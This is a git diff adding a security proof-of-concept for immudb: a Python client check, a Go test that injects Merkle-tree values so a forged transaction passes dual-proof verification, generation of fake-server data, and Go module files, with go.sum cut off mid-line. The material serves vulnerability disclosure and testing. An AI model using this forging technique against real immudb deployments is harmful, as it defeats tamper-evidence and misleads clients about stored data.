"sha256:cd01a8201fd8ab2ce496f7e65975da1f1e629eac8eea84ead0fd77e32e4350cd", + "sha256:ce70254a082cb767217b2fdee374cc79199d338d46140753438cd6d67c609b2f", + "sha256:dc2619a31339e1c53731f54761f1a2cb865d3421f690e00ef3e92f90d2a0c5ae", + "sha256:e4dfae66ebc165c46c5b7048eb554472ee72fbaab2c2c2da7f9b1621c81e077c", + "sha256:eaf4bb73819863440727195411ab3b5c304f6663625e66f348e91ebe0a039306", + "sha256:f4c4ad8ad7e2cf3a272cbc96734d56635e6543939022f17e0c4487f7d2a45bf9", + "sha256:f7115038edce33b494e0138b0bd31a2eb6595d45e2eed23be46bc32886feb741", + "sha256:f8bc76f5cd95f5476e5285fe5d3704a9332586a569fbbccef551b0b6f7a270f9" + ], + "version": "==1.48.0" + }, + "idna": { + "hashes": [ + "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff", + "sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d" + ], + "version": "==3.3" + }, + "immudb-py": { + "hashes": [ + "sha256:441e6e2cc31e869ceaf1c13c225adadc364f26f1f6341181f5b6d1b48e22ed2f", + "sha256:8c735072ac33b42b2bed1c573ed57fd624cc4eb2572b7e13616bb8106ce8e090" + ], + "index": "pypi", + "version": "==1.3.1" + }, + "protobuf": { + "hashes": [ + "sha256:06059eb6953ff01e56a25cd02cca1a9649a75a7e65397b5b9b4e929ed71d10cf", + "sha256:097c5d8a9808302fb0da7e20edf0b8d4703274d140fd25c5edabddcde43e081f", + "sha256:284f86a6207c897542d7e956eb243a36bb8f9564c1742b253462386e96c6b78f", + "sha256:32ca378605b41fd180dfe4e14d3226386d8d1b002ab31c969c366549e66a2bb7", + "sha256:3cc797c9d15d7689ed507b165cd05913acb992d78b379f6014e013f9ecb20996", + "sha256:62f1b5c4cd6c5402b4e2d63804ba49a327e0c386c99b1675c8a0fefda23b2067", + "sha256:69ccfdf3657ba59569c64295b7d51325f91af586f8d5793b734260dfe2e94e2c", + "sha256:6f50601512a3d23625d8a85b1638d914a0970f17920ff39cec63aaef80a93fb7", + "sha256:7403941f6d0992d40161aa8bb23e12575637008a5a02283a930addc0508982f9", + "sha256:755f3aee41354ae395e104d62119cb223339a8f3276a0cd009ffabfcdd46bb0c", + "sha256:77053d28427a29987ca9caf7b72ccafee011257561259faba8dd308fda9a8739", + "sha256:7e371f10abe57cee5021797126c93479f59fccc9693dafd6bd5633ab67808a91", + "sha256:9016d01c91e8e625141d24ec1b20fed584703e527d28512aa8c8707f105a683c", + "sha256:9be73ad47579abc26c12024239d3540e6b765182a91dbc88e23658ab71767153", + "sha256:adc31566d027f45efe3f44eeb5b1f329da43891634d61c75a5944e9be6dd42c9", + "sha256:adfc6cf69c7f8c50fd24c793964eef18f0ac321315439d94945820612849c388", + "sha256:af0ebadc74e281a517141daad9d0f2c5d93ab78e9d455113719a45a49da9db4e", + "sha256:cb29edb9eab15742d791e1025dd7b6a8f6fcb53802ad2f6e3adcb102051063ab", + "sha256:cd68be2559e2a3b84f517fb029ee611546f7812b1fdd0aa2ecc9bc6ec0e4fdde", + "sha256:cdee09140e1cd184ba9324ec1df410e7147242b94b5f8b0c64fc89e38a8ba531", + "sha256:db977c4ca738dd9ce508557d4fce0f5aebd105e158c725beec86feb1f6bc20d8", + "sha256:dd5789b2948ca702c17027c84c2accb552fc30f4622a98ab5c51fcfe8c50d3e7", + "sha256:e250a42f15bf9d5b09fe1b293bdba2801cd520a9f5ea2d7fb7536d4441811d20", + "sha256:ff8d8fa42675249bb456f5db06c00de6c2f4c27a065955917b28c4f15978b9c3" + ], + "version": "==3.20.1" + }, + "pyasn1": { + "hashes": [ + "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", + "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", + "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", + "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", + "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", + "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", + "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", + "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", + "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", + "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", + "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", + "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", + "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" + ], + "version": "==0.4.8" + }, + "pyasn1-modules": { + "hashes": [ + "sha256:0845a5582f6a02bb3e1bde9ecfc4bfcae6ec3210dd270522fee602365430c3f8", + "sha256:0fe1b68d1e486a1ed5473f1302bd991c1611d319bba158e98b106ff86e1d7199", + "sha256:15b7c67fabc7fc240d87fb9aabf999cf82311a6d6fb2c70d00d3d0604878c811", + "sha256:426edb7a5e8879f1ec54a1864f16b882c2837bfd06eee62f2c982315ee2473ed", + "sha256:65cebbaffc913f4fe9e4808735c95ea22d7a7775646ab690518c056784bc21b4", + "sha256:905f84c712230b2c592c19470d3ca8d552de726050d1d1716282a1f6146be65e", + "sha256:a50b808ffeb97cb3601dd25981f6b016cbb3d31fbf57a8b8a87428e6158d0c74", + "sha256:a99324196732f53093a84c4369c996713eb8c89d360a496b599fb1a9c47fc3eb", + "sha256:b80486a6c77252ea3a3e9b1e360bc9cf28eaac41263d173c032581ad2f20fe45", + "sha256:c29a5e5cc7a3f05926aff34e097e84f8589cd790ce0ed41b67aed6857b26aafd", + "sha256:cbac4bc38d117f2a49aeedec4407d23e8866ea4ac27ff2cf7fb3e5b570df19e0", + "sha256:f39edd8c4ecaa4556e989147ebf219227e2cd2e8a43c7e7fcb1f1c18c5fd6a3d", + "sha256:fe0644d9ab041506b62782e92b06b8c68cca799e1a9636ec398675459e031405" + ], + "version": "==0.2.8" + }, + "requests": { + "hashes": [ + "sha256:7c5599b102feddaa661c826c56ab4fee28bfd17f5abca1ebbe3e7f19d7c97983", + "sha256:8fefa2a1a1365bf5520aac41836fbee479da67864514bdb821f31ce07ce65349" + ], + "version": "==2.28.1" + }, + "rsa": { + "hashes": [ + "sha256:90260d9058e514786967344d0ef75fa8727eed8a7d2e43ce9f4bcf1b536174f7", + "sha256:e38464a49c6c85d7f1351b0126661487a7e0a14a50f1675ec50eb34d4f20ef21" + ], + "markers": "python_version >= '3.6'", + "version": "==4.9" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "version": "==1.16.0" + }, + "urllib3": { + "hashes": [ + "sha256:3fa96cf423e6987997fc326ae8df396db2a8b7c667747d47ddd8ecba91f4a74e", + "sha256:b930dd878d5a8afb066a637fbb35144fe7901e3b209d1cd4f524bd0e9deee997" + ], + "version": "==1.26.12" + } + }, + "develop": {} +} diff --git a/docs/security/vulnerabilities/linear-fake/python/main.py b/docs/security/vulnerabilities/linear-fake/python/main.py new file mode 100644 index 0000000000..6c273e9332 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/python/main.py @@ -0,0 +1,43 @@ +from immudb import ImmudbClient, exceptions +import sys + +URL = "localhost:3322" # immudb running on your machine +LOGIN = "immudb" # Default username +PASSWORD = "immudb" # Default password +DB = b"defaultdb" # Default database name (must be in bytes) + + +def main(): + client = ImmudbClient(URL) + try: + # database parameter is optional + client.login(LOGIN, PASSWORD, database=DB) + + tx2 = client.verifiedTxById(2) + print(tx2) + + tx3 = client.verifiedTxById(3) + print(tx3) + + tx5 = client.verifiedTxById(5) + print(tx5) + + tx2faked = client.verifiedTxById(2) + print(tx2faked) + + if tx2 != tx2faked: + print("Client library is vulnerable, following distinct key sets retrieved for TX 2: {} / {}".format(tx2, tx2faked)) + sys.exit(1) + + print("Suspicious data received from the server, are you using fake server?") + sys.exit(1) + + except exceptions.ErrCorruptedData as e: + print("Successfully detected invalid proof") + + finally: + client.logout() + + +if __name__ == "__main__": + main() diff --git a/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go b/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go new file mode 100644 index 0000000000..3c8e0050e1 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go @@ -0,0 +1,419 @@ +//go:build ignore +// +build ignore + +/* +Copyright 2022 CodeNotary, Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package store + +import ( + "fmt" + "os" + "strings" + "testing" + "time" + + "github.com/codenotary/immudb/pkg/fs" + "github.com/stretchr/testify/require" +) + +// TestVerifyDualProofLongLinearProofWithReplica is a test function that can generate the test data +// stored into `state-values.go` file. Note that this test should be run from within the `embedded/store` +// package of an older immudb version since it does access internals of the store. +func TestVerifyDualProofLongLinearProofWithReplica(t *testing.T) { + toKV := func(s string) []byte { return append([]byte{0}, s...) } + + // Create two databases, initially those replicate themselves but diverge at some point + opts := DefaultOptions().WithSynced(false).WithMaxLinearProofLen(10).WithMaxConcurrency(1) + immuStore, err := Open(t.TempDir(), opts) + require.NoError(t, err) + defer immustoreClose(t, immuStore) + + opts = DefaultOptions().WithSynced(false).WithMaxLinearProofLen(0).WithMaxConcurrency(1) + immuStoreRep, err := Open(t.TempDir(), opts) + require.NoError(t, err) + defer immustoreClose(t, immuStoreRep) + + t.Run("add first normal transaction", func(t *testing.T) { + tx, err := immuStore.NewWriteOnlyTx() + require.NoError(t, err) + + err = tx.Set(toKV("key"), nil, toKV("value")) + require.NoError(t, err) + + hdr, err := tx.Commit() + require.NoError(t, err) + require.EqualValues(t, 1, hdr.ID) + require.EqualValues(t, 0, hdr.BlTxID) + + txholder := tempTxHolder(t, immuStore) + etx, err := immuStore.ExportTx(1, false, txholder) + require.NoError(t, err) + + _, err = immuStoreRep.ReplicateTx(etx, false) + require.NoError(t, err) + }) + + var alhValuesToInject [][32]byte + + t.Run("diverge replica from the primary", func(t *testing.T) { + tx, err := immuStoreRep.NewWriteOnlyTx() + require.NoError(t, err) + + err = tx.Set(toKV("fake-key"), nil, toKV("fake-value")) + require.NoError(t, err) + + hdr, err := tx.Commit() + require.NoError(t, err) + require.EqualValues(t, 2, hdr.ID) + require.EqualValues(t, 1, hdr.BlTxID) + + alhValuesToInject = append(alhValuesToInject, hdr.Alh()) + }) + + t.Run("generate long linear proof in primary", func(t *testing.T) { + immuStore.blDone <- struct{}{} // Disable binary linking - we'll be adding entries ourselves + defer func() { go immuStore.binaryLinking() }() // To enable clean shutdown of the immustore, note this has to run before we continue + + for i := 0; i < 2; i++ { + // Gather long linear proof by discarding the AHT operations + tx, err := immuStore.NewWriteOnlyTx() + require.NoError(t, err) + + err = tx.Set( + toKV(fmt.Sprintf("valid-key-%d", i)), + nil, + toKV(fmt.Sprintf("valid-value-%d", i)), + ) + require.NoError(t, err) + + hdr, err := tx.Commit() + require.NoError(t, err) + require.EqualValues(t, i+2, hdr.ID) + require.EqualValues(t, 1, hdr.BlTxID) + + <-immuStore.blBuffer // Remove the entry waiting in the buffer + + if i != 0 { + alhValuesToInject = append(alhValuesToInject, hdr.Alh()) + } + } + }) + + t.Run("inject Alh values to Merkle Tree (including Alh from diverged replica)", func(t *testing.T) { + require.EqualValues(t, 1, immuStore.aht.Size()) + for _, alh := range alhValuesToInject { + _, _, err := immuStore.aht.Append(alh[:]) + require.NoError(t, err) + } + }) + + t.Run("add normal TX after fake AHT data insertion", func(t *testing.T) { + tx, err := immuStore.NewWriteOnlyTx() + require.NoError(t, err) + + err = tx.Set(toKV("key-after-0"), nil, toKV("value-after-0")) + require.NoError(t, err) + + hdr, err := tx.Commit() + require.NoError(t, err) + require.EqualValues(t, 4, hdr.ID) + require.EqualValues(t, 3, hdr.BlTxID) + + // Wait for the async goroutine to consume the new aht entry + for immuStore.aht.Size() < 4 { + time.Sleep(time.Millisecond) + } + + tx, err = immuStore.NewWriteOnlyTx() + require.NoError(t, err) + + err = tx.Set(toKV("key-after-1"), nil, toKV("value-after-1")) + require.NoError(t, err) + + hdr, err = tx.Commit() + require.NoError(t, err) + require.EqualValues(t, 5, hdr.ID) + require.EqualValues(t, 4, hdr.BlTxID) + }) + + t.Run("dump test data for fake server", func(t *testing.T) { + + toBArray := func(a []byte, indent int) string { + ret := &strings.Builder{} + ret.WriteString("[]byte{") + for i, b := range a { + if i%16 == 0 { + ret.WriteString("\n") + ret.WriteString(strings.Repeat("\t", indent+1)) + } else { + ret.WriteString(" ") + } + fmt.Fprintf(ret, "0x%02X,", b) + } + if len(a) > 0 { + ret.WriteString("\n") + ret.WriteString(strings.Repeat("\t", indent)) + } + ret.WriteString("}") + return ret.String() + } + + dumpHdr := func(hdr *TxHeader, indent int) string { + i := strings.Repeat("\t", indent) + return fmt.Sprintf(""+ + "&schema.TxHeader{\n"+ + "%s\tId: %d,\n"+ + "%s\tPrevAlh: %s,\n"+ + "%s\tTs: %d,\n"+ + "%s\tVersion: %d,\n"+ + "%s\tNentries: %d,\n"+ + "%s\tEH: %s,\n"+ + "%s\tBlTxId: %d,\n"+ + "%s\tBlRoot: %s,\n"+ + "%s}", + i, hdr.ID, + i, toBArray(hdr.PrevAlh[:], 4), + i, hdr.Ts, + i, hdr.Version, + i, hdr.NEntries, + i, toBArray(hdr.Eh[:], 4), + i, hdr.BlTxID, + i, toBArray(hdr.BlRoot[:], 4), + i, + ) + } + + dumpEntries := func(entries []*TxEntry, indent int) string { + i := strings.Repeat("\t", indent) + ret := &strings.Builder{} + ret.WriteString("[]*schema.TxEntry{") + for _, e := range entries { + hValue := e.HVal() + + fmt.Fprintf(ret, "\n"+ + "%s\t{\n"+ + "%s\t\tKey: %s,\n"+ + // "%s Metadata: KVMetadataToProto(e.Metadata()), + "%s\t\tHValue: %s,\n"+ + "%s\t\tVLen: %d,\n"+ + "%s\t},\n", + i, + i, toBArray(e.Key(), indent+2), + i, toBArray(hValue[:], indent+2), + i, e.vLen, + i, + ) + } + if len(entries) > 0 { + ret.WriteString(i) + } + ret.WriteString("}") + return ret.String() + } + + dumpDigests := func(digests [][32]byte, indent int) string { + ret := strings.Builder{} + + ret.WriteString("[][]byte{") + + for _, d := range digests { + ret.WriteString("\n") + ret.WriteString(strings.Repeat("\t", indent+2)) + ret.WriteString(toBArray(d[:], indent+2)[6:]) + ret.WriteString(",\n") + } + + if len(digests) > 0 { + ret.WriteString(strings.Repeat("\t", indent)) + } + ret.WriteString("}") + + return ret.String() + } + + dumpVerifiableTx := func(tx *Tx, dualProof *DualProof, indent int) string { + i := strings.Repeat("\t", indent) + return fmt.Sprintf("&schema.VerifiableTx{\n"+ + "%s Tx: &schema.Tx{\n"+ + "%s Header: %s,\n"+ + "%s Entries: %s,\n"+ + "%s },\n"+ + "%s DualProof: &schema.DualProof{\n"+ + "%s SourceTxHeader: %s,\n"+ + "%s TargetTxHeader: %s,\n"+ + "%s InclusionProof: %s,\n"+ + "%s ConsistencyProof: %s,\n"+ + "%s TargetBlTxAlh: %s,\n"+ + "%s LastInclusionProof: %s,\n"+ + "%s LinearProof: &schema.LinearProof{\n"+ + "%s SourceTxId: %d,\n"+ + "%s TargetTxId: %d,\n"+ + "%s Terms: %s,\n"+ + "%s },\n"+ + "%s },\n"+ + "%s}"+ + "", + i, + i, dumpHdr(tx.Header(), indent+2), + i, dumpEntries(tx.Entries(), indent+2), + i, + i, + i, dumpHdr(dualProof.SourceTxHeader, indent+2), + i, dumpHdr(dualProof.TargetTxHeader, indent+2), + i, dumpDigests(dualProof.InclusionProof, indent+3), + i, dumpDigests(dualProof.ConsistencyProof, indent+3), + i, toBArray(dualProof.TargetBlTxAlh[:], indent+3), + i, dumpDigests(dualProof.LastInclusionProof, indent+3), + i, + i, dualProof.LinearProof.SourceTxID, + i, dualProof.LinearProof.TargetTxID, + i, dumpDigests(dualProof.LinearProof.Terms, indent+3), + i, + i, + i, + ) + } + + tx2 := tempTxHolder(t, immuStore) + err := immuStore.ReadTx(2, tx2) + require.NoError(t, err) + + tx2Hdr := tx2.Header() + tx2Alh := tx2Hdr.Alh() + + dualProof2_2, err := immuStore.DualProof(tx2Hdr, tx2Hdr) + require.NoError(t, err) + + tx3 := tempTxHolder(t, immuStore) + err = immuStore.ReadTx(3, tx3) + require.NoError(t, err) + + tx3Hdr := tx3.Header() + + dualProof3_2, err := immuStore.DualProof(tx2Hdr, tx3Hdr) + require.NoError(t, err) + + tx5 := tempTxHolder(t, immuStore) + err = immuStore.ReadTx(5, tx5) + require.NoError(t, err) + + tx5Hdr := tx5.Header() + + dualProof5_3, err := immuStore.DualProof(tx3Hdr, tx5Hdr) + require.NoError(t, err) + + tx2Fake := tempTxHolder(t, immuStoreRep) + err = immuStoreRep.ReadTx(2, tx2Fake) + require.NoError(t, err) + + dualProof5_2_fake, err := immuStore.DualProof(tx2Fake.Header(), tx5Hdr) + require.NoError(t, err) + + os.WriteFile("../../tools/testing/immufaker/state_values.go", []byte(fmt.Sprintf(""+ + "package main\n"+ + "\n"+ + "import (\n"+ + " \"github.com/codenotary/immudb/pkg/api/schema\"\n"+ + ")\n"+ + "\n"+ + "var (\n"+ + " stateQueryResult = &schema.ImmutableState{\n"+ + " Db: \"defaultdb\",\n"+ + " TxId: 2,\n"+ + " TxHash: %s,\n"+ + " }\n"+ + "\n"+ + " verifiableTxById_2_2 = %s\n"+ + "\n"+ + " verifiableTxById_3_2 = %s\n"+ + "\n"+ + " verifiableTxById_5_3 = %s\n"+ + "\n"+ + " verifiableTxById_5_2_fake = %s\n"+ + ")\n", + toBArray(tx2Alh[:], 2), + dumpVerifiableTx(tx2, dualProof2_2, 1), + dumpVerifiableTx(tx3, dualProof3_2, 1), + dumpVerifiableTx(tx5, dualProof5_3, 1), + dumpVerifiableTx(tx2Fake, dualProof5_2_fake, 1), + )), 0666) + }) + + // Currently there are following transactions in the database: + // 1 - valid normal TX, {"key": "value"} + // 2 - diverged TX, in linear linking: {"valid-key-0": "valid-value-0"}, in merkle tree hash for: {"fake-key": "fake-value"} + // 3 - normal TX using linear linking back to Tx 1: {"valid-key-1": "valid-value-1"} + // 4 - normal TX, {"key-after-0": "value-after-0"} + // 5 - normal TX, {"key-after-1": "value-after-1"} + // + // Up to Tx 3, values are proven by doing linear linking back to Tx 1, the Merkle Tree at that point is empty. + // + // Sequence of actions to run the PoC (as seen by the client): + // 1. Verified read Tx 2 (no previous state, new stored state for Tx 2) + // 2. Verified read Tx 3 (previously stored state for Tx 2, new stored state for Tx 3) + // 3. Verified read Tx 5 (previously stored state for Tx 3, new stored state for Tx 5) + // 4. Verified read fake Tx 2 (stored state Tx 5, no update, read succeeds with different Tx data) + + t.Run("fake entries by injecting invalid Merkle Tree entries proof PoC", func(t *testing.T) { + + // read tx 2 and ensure it's valid-key-1 + tx2 := tempTxHolder(t, immuStore) + err := immuStore.ReadTx(2, tx2) + require.NoError(t, err) + require.Len(t, tx2.Entries(), 1) + require.Equal(t, toKV("valid-key-0"), tx2.Entries()[0].key()) + tx2Hdr := tx2.Header() + + // perform dual proof between Tx 2 and Tx 3 + tx3Hdr, err := immuStore.ReadTxHeader(3, false) + require.NoError(t, err) + + dualProof, err := immuStore.DualProof(tx2Hdr, tx3Hdr) + require.NoError(t, err) + + verifies := VerifyDualProof(dualProof, tx2Hdr.ID, tx3Hdr.ID, tx2Hdr.Alh(), tx3Hdr.Alh()) + require.True(t, verifies) + + // further perform dual proof to get to Tx 5 + tx5Hdr, err := immuStore.ReadTxHeader(5, false) + require.NoError(t, err) + + dualProof, err = immuStore.DualProof(tx3Hdr, tx5Hdr) + require.NoError(t, err) + + verifies = VerifyDualProof(dualProof, tx3Hdr.ID, tx5Hdr.ID, tx3Hdr.Alh(), tx5Hdr.Alh()) + require.True(t, verifies) + + // Read fake Tx from replica DB that has diverged + fakeTx2 := tempTxHolder(t, immuStoreRep) + err = immuStoreRep.ReadTx(2, fakeTx2) + require.NoError(t, err) + require.Len(t, fakeTx2.Entries(), 1) + require.Equal(t, toKV("fake-key"), fakeTx2.Entries()[0].key()) + fakeTx2Hdr := fakeTx2.Header() + + // Perform consistency proof between fake Tx2 and the genuine Tx5 + dualProof, err = immuStore.DualProof(fakeTx2Hdr, tx5Hdr) + require.NoError(t, err) + + // We should never be able to perform this proof by the client !!! + verifies = VerifyDualProof(dualProof, fakeTx2Hdr.ID, tx5Hdr.ID, fakeTx2Hdr.Alh(), tx5Hdr.Alh()) + require.True(t, verifies) + + }) + +} diff --git a/docs/security/vulnerabilities/linear-fake/server/go.mod b/docs/security/vulnerabilities/linear-fake/server/go.mod new file mode 100644 index 0000000000..27c38af489 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/server/go.mod @@ -0,0 +1,58 @@ +module linear-fake + +go 1.19 + +require github.com/codenotary/immudb v1.3.3-0.20220901104917-81d4fb37b70e + +require ( + github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 // indirect + github.com/rakyll/statik v0.1.7 // indirect +) + +require ( + github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect + github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect + github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect + github.com/beorn7/perks v1.0.1 // indirect + github.com/cespare/xxhash/v2 v2.1.2 // indirect + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/fsnotify/fsnotify v1.5.4 // indirect + github.com/golang/protobuf v1.5.2 // indirect + github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect + github.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect + github.com/hashicorp/hcl v1.0.0 // indirect + github.com/inconshreveable/mousetrap v1.0.0 // indirect + github.com/magiconair/properties v1.8.6 // indirect + github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect + github.com/mitchellh/mapstructure v1.5.0 // indirect + github.com/o1egl/paseto v1.0.0 // indirect + github.com/pelletier/go-toml v1.9.5 // indirect + github.com/pelletier/go-toml/v2 v2.0.1 // indirect + github.com/pkg/errors v0.9.1 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/prometheus/client_golang v1.12.2 // indirect + github.com/prometheus/client_model v0.2.0 // indirect + github.com/prometheus/common v0.32.1 // indirect + github.com/prometheus/procfs v0.7.3 // indirect + github.com/rogpeppe/go-internal v1.8.0 // indirect + github.com/rs/xid v1.3.0 // indirect + github.com/spf13/afero v1.8.2 // indirect + github.com/spf13/cast v1.5.0 // indirect + github.com/spf13/cobra v1.2.1 // indirect + github.com/spf13/jwalterweatherman v1.1.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/spf13/viper v1.12.0 // indirect + github.com/stretchr/testify v1.8.0 + github.com/subosito/gotenv v1.3.0 // indirect + golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e // indirect + golang.org/x/net v0.0.0-20220708220712-1185a9018129 // indirect + golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d // indirect + golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect + golang.org/x/text v0.3.7 // indirect + google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd // indirect + google.golang.org/grpc v1.46.2 // indirect + google.golang.org/protobuf v1.28.0 // indirect + gopkg.in/ini.v1 v1.66.6 // indirect + gopkg.in/yaml.v2 v2.4.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git a/docs/security/vulnerabilities/linear-fake/server/go.sum b/docs/security/vulnerabilities/linear-fake/server/go.sum new file mode 100644 index 0000000000..91b5759949 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/server/go.sum @@ -0,0 +1,1171 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= +cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= +cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= +cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= +cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= +cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= +cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= +cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= +cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= +cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= +cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= +cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= +cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= +cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= +cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY= +cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= +cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= +cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= +cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= +cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= +cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= +cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ= +cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI= +cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= +cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= +cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= +cloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A= +cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= +cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= +cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= +cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= +cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= +cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= +cloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow= +cloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM= +cloud.google.com/go/compute v1.5.0/go.mod 